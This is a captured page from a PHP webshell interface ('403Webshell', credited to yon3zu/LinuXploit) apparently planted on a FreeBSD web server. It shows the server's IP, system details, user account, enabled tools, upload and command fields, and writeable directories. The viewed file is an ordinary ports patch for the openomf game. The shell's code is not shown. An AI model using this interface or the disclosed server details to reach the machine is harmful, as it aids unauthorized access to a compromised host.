403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.236
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/games/openomf/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/games/openomf/files/patch-src_resources_pathmanager.c
--- src/resources/pathmanager.c.orig	2016-01-10 17:37:25 UTC
+++ src/resources/pathmanager.c
@@ -85,11 +85,11 @@ int pm_init() {
                 local_path_build(RESOURCE_PATH, bin_base_dir, "resources\\");
                 local_path_build(PLUGIN_PATH, bin_base_dir, "plugins\\");
                 m_ok = 1;
-            } else if(!strcasecmp(SDL_GetPlatform(), "Linux")) {
+            } else if(!strcasecmp(SDL_GetPlatform(), "FreeBSD")) {
                 // on linux, the resources will be in ../share/games/openomf, relative to the binary
                 // so if openomf is installed to /usr/local/bin,
                 // the resources will be in /usr/local/share/games/openomf
-                local_path_build(RESOURCE_PATH, bin_base_dir, "../share/games/openomf/");
+                local_path_build(RESOURCE_PATH, %%PREFIX%%, "/share/openomf/");
                 local_path_build(PLUGIN_PATH, bin_base_dir, "../lib/openomf/");
                 m_ok = 1;
             } else if(!strcasecmp(SDL_GetPlatform(), "Mac OS X")) {

Youez - 2016 - github.com/yon3zu
LinuXploit